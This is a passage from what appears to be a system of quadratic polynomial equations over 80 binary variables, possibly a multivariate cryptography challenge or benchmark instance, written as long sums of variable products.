x18*x24 + x18*x28 + x18*x33 + x18*x35 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x49 + x18*x54 + x18*x56 + x18*x57 + x18*x60 + x18*x61 + x18*x63 + x18*x64 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x73 + x18*x76 + x18*x77 + x18*x78 + x18*x79 + x19*x23 + x19*x24 + x19*x25 + x19*x27 + x19*x31 + x19*x34 + x19*x37 + x19*x39 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x47 + x19*x49 + x19*x55 + x19*x57 + x19*x58 + x19*x60 + x19*x61 + x19*x62 + x19*x65 + x19*x74 + x19*x75 + x19*x76 + x19*x78 + x19 + x20*x22 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x39 + x20*x40 + x20*x45 + x20*x46 + x20*x50 + x20*x53 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x72 + x20*x77 + x20 + x21*x23 + x21*x28 + x21*x29 + x21*x33 + x21*x34 + x21*x35 + x21*x41 + x21*x44 + x21*x46 + x21*x47 + x21*x50 + x21*x55 + x21*x57 + x21*x58 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x69 + x21*x71 + x21*x72 + x21*x74 + x21*x75 + x21*x77 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x27 + x22*x28 + x22*x29 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x37 + x22*x39 + x22*x42 + x22*x43 + x22*x44 + x22*x50 + x22*x51 + x22*x54 + x22*x56 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x66 + x22*x67 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x31 + x23*x33 + x23*x37 + x23*x38 + x23*x41 + x23*x42 + x23*x43 + x23*x46 + x23*x48 + x23*x49 + x23*x51 + x23*x54 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x62 + x23*x63 + x23*x65 + x23*x67 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x78 + x23*x79 + x23 + x24*x25 + x24*x26 + x24*x27 + x24*x29 + x24*x32 + x24*x34 + x24*x36 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x51 + x24*x52 + x24*x53 + x24*x57 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x68 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x25*x30 + x25*x32 + x25*x33 + x25*x35 + x25*x36 + x25*x40 + x25*x41 + x25*x42 + x25*x43 + x25*x44 + x25*x49 + x25*x51 + x25*x53 + x25*x56 + x25*x58 + x25*x59 + x25*x60 + x25*x63 + x25*x69 + x25*x70 + x25*x74 + x25*x75 + x25*x78 + x25*x79 + x26*x28 + x26*x29 + x26*x30 + x26*x32 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x39 + x26*x40 + x26*x45 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x54 + x26*x55 + x26*x57 + x26*x64 + x26*x69 + x26*x78 + x26*x79 + x26 + x27*x31 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x40 + x27*x41 + x27*x42 + x27*x45 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x56 + x27*x59 + x27*x61 + x27*x65 + x27*x71 + x27*x73 + x27*x74 + x27*x78 + x27 + x28*x29 + x28*x32 + x28*x34 + x28*x37 + x28*x38 + x28*x41 + x28*x44 + x28*x49 + x28*x52 + x28*x53 + x28*x55 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x66 + x28*x69 + x28*x70 + x28*x72 + x28*x73 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x29*x33 + x29*x37 + x29*x38 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x48 + x29*x50 + x29*x51 + x29*x58 + x29*x62 + x29*x64 + x29*x65 + x29*x66 + x29*x69 + x29*x70 + x29*x71 + x29*x73 + x29*x79 + x30*x31 + x30*x33 + x30*x35 + x30*x37 + x30*x39 + x30*x44 + x30*x49 + x30*x50 + x30*x52 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x63 + x30*x69 + x30*x71 + x30*x72 + x30*x75 + x30*x76 + x30*x79 + x31*x36 + x31*x37 + x31*x39 + x31*x43 + x31*x44 + x31*x46 + x31*x48 + x31*x49 + x31*x50 + x31*x52 + x31*x54 + x31*x56 + x31*x57 + x31*x61 + x31*x62 + x31*x63 + x31*x64 + x31*x65 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x79 + x31 + x32*x34 + x32*x36 + x32*x37 + x32*x40 + x32*x42 + x32*x47 + x32*x49 + x32*x50 + x32*x51 + x32*x53 + x32*x59 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x50 + x33*x53 + x33*x54 + x33*x57 + x33*x63 + x33*x65 + x33*x66 + x33*x67 + x33*x70 + x33*x74 + x33*x75 + x33*x76 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x43 + x34*x44 + x34*x45 + x34*x48 + x34*x50 + x34*x51 + x34*x54 + x34*x56 + x34*x57 + x34*x58 + x34*x60 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x70 + x34*x71 + x34*x73 + x34*x75 + x34*x77 + x35*x38 + x35*x41 + x35*x42 + x35*x44 + x35*x45 + x35*x46 + x35*x47 + x35*x49 + x35*x52 + x35*x53 + x35*x56 + x35*x57 + x35*x60 + x35*x61 + x35*x62 + x35*x64 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x39 + x36*x40 + x36*x43 + x36*x44 + x36*x48 + x36*x49 + x36*x52 + x36*x54 + x36*x55 + x36*x56 + x36*x57 + x36*x59 + x36*x65 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x37*x39 + x37*x43 + x37*x44 + x37*x45 + x37*x48 + x37*x50 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x74 + x37*x76 + x37*x78 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x45 + x38*x46 + x38*x51 + x38*x53 + x38*x55 + x38*x57 + x38*x60 + x38*x61 + x38*x63 + x38*x64 + x38*x65 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x39*x41 + x39*x44 + x39*x45 + x39*x47 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x63 + x39*x64 + x39*x66 + x39*x67 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x77 + x39*x78 + x39 + x40*x43 + x40*x45 + x40*x46 + x40*x48 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x55 + x40*x56 + x40*x58 + x40*x59 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x70 + x40*x73 + x40*x76 + x40 + x41*x47 + x41*x49 + x41*x50 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x62 + x41*x65 + x41*x66 + x41*x67 + x41*x68 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x52 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x64 + x42*x66 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x74 + x42*x76 + x42*x78 + x42 + x43*x45 + x43*x46 + x43*x48 + x43*x51 + x43*x53 + x43*x56 + x43*x57 + x43*x61 + x43*x63 + x43*x64 + x43*x65 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x46 + x44*x47 + x44*x49 + x44*x51 + x44*x53 + x44*x55 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x64 + x44*x66 + x44*x67 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44 + x45*x46 + x45*x47 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x60 + x45*x67 + x45*x69 + x45*x70 + x45*x71 + x45*x76 + x45*x78 + x45*x79 + x46*x49 + x46*x50 + x46*x51 + x46*x52 + x46*x61 + x46*x62 + x46*x66 + x46*x67 + x46*x69 + x46*x74 + x46*x76 + x47*x48 + x47*x53 + x47*x55 + x47*x56 + x47*x57 + x47*x63 + x47*x65 + x47*x66 + x47*x70 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47*x79 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x58 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x66 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x75 + x48*x79 + x48 + x49*x51 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x52 + x50*x53 + x50*x58 + x50*x59 + x50*x60 + x50*x62 + x50*x64 + x50*x66 + x50*x67 + x50*x68 + x50*x73 + x50*x74 + x50*x78 + x51*x52 + x51*x53 + x51*x54 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x78 + x52*x56 + x52*x59 + x52*x61 + x52*x64 + x52*x65 + x52*x66 + x52*x69 + x52*x70 + x52*x71 + x52*x74 + x52*x75 + x52*x76 + x52*x78 + x52 + x53*x59 + x53*x60 + x53*x62 + x53*x63 + x53*x66 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x74 + x53*x76 + x53*x78 + x53 + x54*x55 + x54*x56 + x54*x60 + x54*x61 + x54*x62 + x54*x64 + x54*x66 + x54*x68 + x54*x69 + x54*x72 + x54*x74 + x54*x75 + x54*x76 + x54*x77 + x54 + x55*x57 + x55*x58 + x55*x62 + x55*x65 + x55*x67 + x55*x70 + x55*x73 + x55*x77 + x55*x78 + x56*x57 + x56*x58 + x56*x64 + x56*x67 + x56*x68 + x56*x70 + x56*x72 + x56*x73 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x64 + x57*x65 + x57*x67 + x57*x68 + x57*x70 + x57*x71 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x58*x60 + x58*x61 + x58*x64 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x75 + x58*x77 + x59*x60 + x59*x63 + x59*x66 + x59*x67 + x59*x70 + x59*x71 + x59*x73 + x59*x75 + x59*x76 + x59*x78 + x59*x79 + x59 + x60*x65 + x60*x67 + x60*x68 + x60*x69 + x60*x70 + x60*x72 + x60*x74 + x60*x76 + x60*x79 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x71 + x61*x72 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x62*x64 + x62*x65 + x62*x72 + x62*x74 + x62*x75 + x62*x76 + x62*x78 + x63*x67 + x63*x68 + x63*x70 + x63*x73 + x63*x75 + x63*x77 + x63 + x64*x67 + x64*x71 + x64*x72 + x64*x73 + x64*x75 + x64*x77 + x64*x78 + x65*x66 + x65*x68 + x65*x69 + x65*x72 + x65*x73 + x65*x77 + x65*x78 + x66*x70 + x66*x72 + x66*x73 + x66*x74 + x66*x78 + x66 + x67*x69 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x79 + x68*x74 + x68*x77 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x73 + x70*x74 + x70*x76 + x70 + x71*x74 + x71*x75 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x72 + x73*x74 + x73*x78 + x73 + x74*x76 + x74*x77 + x74*x79 + x74 + x75*x78 + x76 + x77*x78 + x77 + x79 + 1, x0*x1 + x0*x3 + x0*x4 + x0*x6 + x0*x9 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x22 + x0*x23 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x41 + x0*x46 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x60 + x0*x62 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x76 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x8 + x1*x9 + x1*x12 + x1*x18 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x27 + x1*x29 + x1*x32 + x1*x33 + x1*x35 + x1*x43 + x1*x46 + x1*x47 + x1*x50 + x1*x51 + x1*x52 + x1*x53 + x1*x55 + x1*x56 + x1*x57 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x2*x3 + x2*x4 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x12 + x2*x13 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x27 + x2*x28 + x2*x33 + x2*x35 + x2*x36 + x2*x39 + x2*x40 + x2*x42 + x2*x44 + x2*x46 + x2*x48 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x58 + x2*x59 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x66 + x2*x68 + x2*x71 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x11 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x21 + x3*x24 + x3*x25 + x3*x26 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x34 + x3*x35 + x3*x38 + x3*x39 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x53 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x70 + x3*x77 + x3*x78 + x3*x79 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x15 + x4*x17 + x4*x18 + x4*x19 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x29 + x4*x31 + x4*x34 + x4*x38 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x54 + x4*x56 + x4*x57 + x4*x58 + x4*x62 + x4*x64 + x4*x66 + x4*x69 + x4*x70 + x4*x71 + x4*x73 + x4*x76 + x4*x78 + x4*x79 + x5*x7 + x5*x10 + x5*x11 + x5*x14 + x5*x15 + x5*x16 + x5*x17 + x5*x18 + x5*x19 + x5*x22 + x5*x25 + x5*x26 + x5*x28 + x5*x29 + x5*x33 + x5*x34 + x5*x37 + x5*x39 + x5*x40 + x5*x41 + x5*x43 + x5*x45 + x5*x46 + x5*x48 + x5*x49 + x5*x52 + x5*x53 + x5*x56 + x5*x57 + x5*x59 + x5*x61 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x71 + x5*x73 + x5*x74 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x12 + x6*x16 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x27 + x6*x29 + x6*x30 + x6*x34 + x6*x35 + x6*x44 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x57 + x6*x59 + x6*x63 + x6*x64 + x6*x65 + x6*x66 + x6*x68 + x6*x76 + x6 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x18 + x7*x19 + x7*x21 + x7*x24 + x7*x25 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x34 + x7*x35 + x7*x36 + x7*x40 + x7*x41 + x7*x42 + x7*x43 + x7*x46 + x7*x48 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x63 + x7*x65 + x7*x68 + x7*x69 + x7*x72 + x7*x75 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x22 + x8*x26 + x8*x28 + x8*x30 + x8*x32 + x8*x34 + x8*x36 + x8*x38 + x8*x39 + x8*x41 + x8*x42 + x8*x43 + x8*x47 + x8*x49 + x8*x50 + x8*x52 + x8*x55 + x8*x58 + x8*x59 + x8*x62 + x8*x63 + x8*x65 + x8*x74 + x8*x76 + x8*x77 + x8*x79 + x8 + x9*x10 + x9*x11 + x9*x13 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x19 + x9*x20 + x9*x21 + x9*x24 + x9*x25 + x9*x26 + x9*x29 + x9*x34 + x9*x36 + x9*x38 + x9*x41 + x9*x43 + x9*x46 + x9*x47 + x9*x50 + x9*x52 + x9*x54 + x9*x55 + x9*x58 + x9*x59 + x9*x64 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x71 + x9*x72 + x9*x75 + x9*x77 + x9*x79 + x10*x11 + x10*x12 + x10*x19 + x10*x21 + x10*x22 + x10*x24 + x10*x28 + x10*x29 + x10*x30 + x10*x31 + x10*x34 + x10*x35 + x10*x36 + x10*x40 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x51 + x10*x52 + x10*x54 + x10*x56 + x10*x57 + x10*x59 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x67 + x10*x69 + x10*x70 + x10*x71 + x10*x73 + x10*x75 + x10*x76 + x10*x77 + x11*x13 + x11*x14 + x11*x15 + x11*x17 + x11*x19 + x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x40 + x11*x42 + x11*x43 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x52 + x11*x54 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x60 + x11*x64 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x11*x79 + x12*x14 + x12*x17 + x12*x20 + x12*x24 + x12*x26 + x12*x27 + x12*x28 + x12*x29 + x12*x34 + x12*x36 + x12*x37 + x12*x38 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x46 + x12*x47 + x12*x48 + x12*x49 + x12*x51 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x59 + x12*x63 + x12*x66 + x12*x68 + x12*x73 + x12*x74 + x12*x75 + x12*x78 + x13*x15 + x13*x17 + x13*x18 + x13*x21 + x13*x24 + x13*x26 + x13*x28 + x13*x29 + x13*x31 + x13*x34 + x13*x36 + x13*x37 + x13*x39 + x13*x45 + x13*x46 + x13*x47 + x13*x48 + x13*x49 + x13*x51 + x13*x54 + x13*x55 + x13*x56 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x14*x15 + x14*x16 + x14*x17 + x14*x22 + x14*x24 + x14*x25 + x14*x27 + x14*x29 + x14*x33 + x14*x40 + x14*x41 + x14*x42 + x14*x44 + x14*x46 + x14*x50 + x14*x51 + x14*x53 + x14*x54 + x14*x55 + x14*x60 + x14*x61 + x14*x65 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x72 + x14*x73 + x14*x74 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x16 + x15*x21 + x15*x23 + x15*x24 + x15*x26 + x15*x27 + x15*x28 + x15*x33 + x15*x35 + x15*x37 + x15*x40 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x49 + x15*x53 + x15*x57 + x15*x58 + x15*x60 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x70 + x15*x71 + x15*x73 + x15*x74 + x15*x76 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x20 + x16*x24 + x16*x25 + x16*x27 + x16*x33 + x16*x34 + x16*x39 + x16*x42 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x50 + x16*x52 + x16*x57 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x67 + x16*x68 + x16*x69 + x16*x71 + x16*x72 + x16*x74 + x16*x76 + x16*x77 + x16*x78 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x27 + x17*x28 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x41 + x17*x48 + x17*x49 + x17*x53 + x17*x54 + x17*x56 + x17*x58 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x68 + x17*x71 + x17*x73 + x17*x79 + x18*x24 + x18*x26 + x18*x29 + x18*x30 + x18*x36 + x18*x38 + x18*x39 + x18*x40 + x18*x45 + x18*x46 + x18*x47 + x18*x50 + x18*x51 + x18*x55 + x18*x57 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x69 + x18*x70 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x78 + x19*x27 + x19*x28 + x19*x29 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x41 + x19*x44 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x60 + x19*x62 + x19*x63 + x19*x64 + x19*x65 + x19*x67 + x19*x70 + x19*x71 + x19*x73 + x19*x74 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x28 + x20*x29 + x20*x31 + x20*x32 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x42 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x53 + x20*x55 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x65 + x20*x66 + x20*x68 + x20*x70 + x20*x73 + x20*x75 + x20*x79 + x20 + x21*x25 + x21*x26 + x21*x27 + x21*x29 + x21*x30 + x21*x31 + x21*x33 + x21*x36 + x21*x38 + x21*x43 + x21*x44 + x21*x47 + x21*x49 + x21*x51 + x21*x53 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x62 + x21*x64 + x21*x65 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x77 + x21*x78 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x31 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x39 + x22*x40 + x22*x43 + x22*x45 + x22*x46 + x22*x49 + x22*x50 + x22*x51 + x22*x57 + x22*x59 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x79 + x23*x27 + x23*x30 + x23*x31 + x23*x32 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x48 + x23*x49 + x23*x53 + x23*x54 + x23*x57 + x23*x58 + x23*x59 + x23*x60 + x23*x64 + x23*x65 + x23*x67 + x23*x68 + x23*x69 + x23*x71 + x23*x73 + x23*x75 + x23*x77 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x28 + x24*x31 + x24*x32 + x24*x36 + x24*x37 + x24*x39 + x24*x40 + x24*x41 + x24*x44 + x24*x45 + x24*x46 + x24*x49 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x69 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x79 + x25*x32 + x25*x35 + x25*x36 + x25*x37 + x25*x39 + x25*x40 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x50 + x25*x53 + x25*x58 + x25*x59 + x25*x61 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x70 + x25*x72 + x25*x74 + x25*x76 + x25 + x26*x27 + x26*x29 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x41 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x77 + x26*x79 + x26 + x27*x28 + x27*x30 + x27*x34 + x27*x37 + x27*x38 + x27*x39 + x27*x43 + x27*x44 + x27*x45 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x61 + x27*x62 + x27*x63 + x27*x65 + x27*x66 + x27*x68 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x74 + x27*x78 + x28*x29 + x28*x30 + x28*x33 + x28*x35 + x28*x37 + x28*x38 + x28*x40 + x28*x43 + x28*x45 + x28*x48 + x28*x51 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x73 + x28*x75 + x28*x77 + x29*x33 + x29*x36 + x29*x37 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x50 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x60 + x29*x61 + x29*x66 + x29*x67 + x29*x70 + x29*x74 + x29*x77 + x29*x78 + x30*x31 + x30*x33 + x30*x34 + x30*x36 + x30*x39 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x46 + x30*x56 + x30*x58 + x30*x61 + x30*x62 + x30*x63 + x30*x64 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x75 + x30*x77 + x30*x79 + x30 + x31*x32 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x60 + x31*x65 + x31*x67 + x31*x72 + x31*x78 + x31*x79 + x32*x36 + x32*x38 + x32*x39 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x49 + x32*x53 + x32*x57 + x32*x60 + x32*x61 + x32*x63 + x32*x67 + x32*x69 + x32*x72 + x32*x73 + x32*x75 + x32*x79 + x32 + x33*x34 + x33*x37 + x33*x39 + x33*x42 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x61 + x33*x63 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x75 + x33*x79 + x34*x37 + x34*x39 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x57 + x34*x60 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x68 + x34*x69 + x34*x71 + x34*x72 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x37 + x35*x39 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x52 + x35*x54 + x35*x55 + x35*x59 + x35*x60 + x35*x62 + x35*x65 + x35*x66 + x35*x68 + x35*x69 + x35*x70 + x35*x72 + x35*x74 + x35*x75 + x35*x76 + x36*x37 + x36*x38 + x36*x40 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x50 + x36*x52 + x36*x53 + x36*x54 + x36*x55 + x36*x57 + x36*x60 + x36*x61 + x36*x65 + x36*x67 + x36*x68 + x36*x70 + x36*x73 + x36*x74 + x36*x77 + x36*x78 + x37*x40 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x59 + x37*x61 + 